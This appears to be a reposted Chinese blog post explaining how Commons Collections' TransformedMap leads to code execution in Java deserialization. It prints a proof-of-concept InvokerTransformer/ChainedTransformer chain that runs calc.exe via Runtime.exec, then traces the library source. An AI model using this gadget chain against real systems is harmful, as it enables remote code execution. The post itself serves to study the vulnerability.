java還原序列化 - transformedMap類可以執行惡意代碼的原理

來源:互聯網
上載者:User

標籤:orm   RoCE   edm   col   文章   代碼   方法   term   tran   

java還原序列化 - transformedMap類可以執行惡意代碼的原理0x00 代碼
Map map=new HashMap();         map.put("key","value");         //調用目標對象的toString方法         String command="calc.exe";         final String[] execArgs = new String[] { command };         final Transformer[] transformers = new Transformer[] {                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod", new Class[] {                         String.class, Class[].class }, new Object[] {                         "getRuntime", new Class[0] }),                 new InvokerTransformer("invoke", new Class[] {                         Object.class, Object[].class }, new Object[] {                         null, new Object[0] }),                 new InvokerTransformer("exec",                         new Class[] { String.class }, execArgs)         };         Transformer transformer=new ChainedTransformer(transformers);         Map<String, Object> transformedMap=TransformedMap.decorate(map,null,transformer);         for (Map.Entry<String,Object> entry:transformedMap.entrySet()){            System.out.println(entry);             entry.setValue("anything");         }

執行結果:

0x01 transformedMap類為什麼可以執行惡意代碼?

通過上一篇http://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法可以執行惡意代碼。
上述代碼的關鍵是:

         for (Map.Entry<String,Object> entry:transformedMap.entrySet()){            System.out.println(entry);             entry.setValue("anything");         }

為什麼執行了 entry.setValue("anything");就可以造成惡意代碼執行呢?接下來我們看transformedMap類的checkSetValue方法:

    /**     * Override to transform the value when using <code>setValue</code>.     *      * @param value  the value to transform     * @return the transformed value     * @since Commons Collections 3.1     */    protected Object checkSetValue(Object value) {        return valueTransformer.transform(value);    }

當transformedMap對象執行setValue方法時會調用valueTransformer的transform方法,如果傳入的valueTransformer是ChainedTransformer的對象,那不就可以造成惡意代碼執行了嗎。
接著查看上面代碼:

因此該代碼的核心還是使用的ChainedTransformer的transformer方法

java還原序列化 - transformedMap類可以執行惡意代碼的原理

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.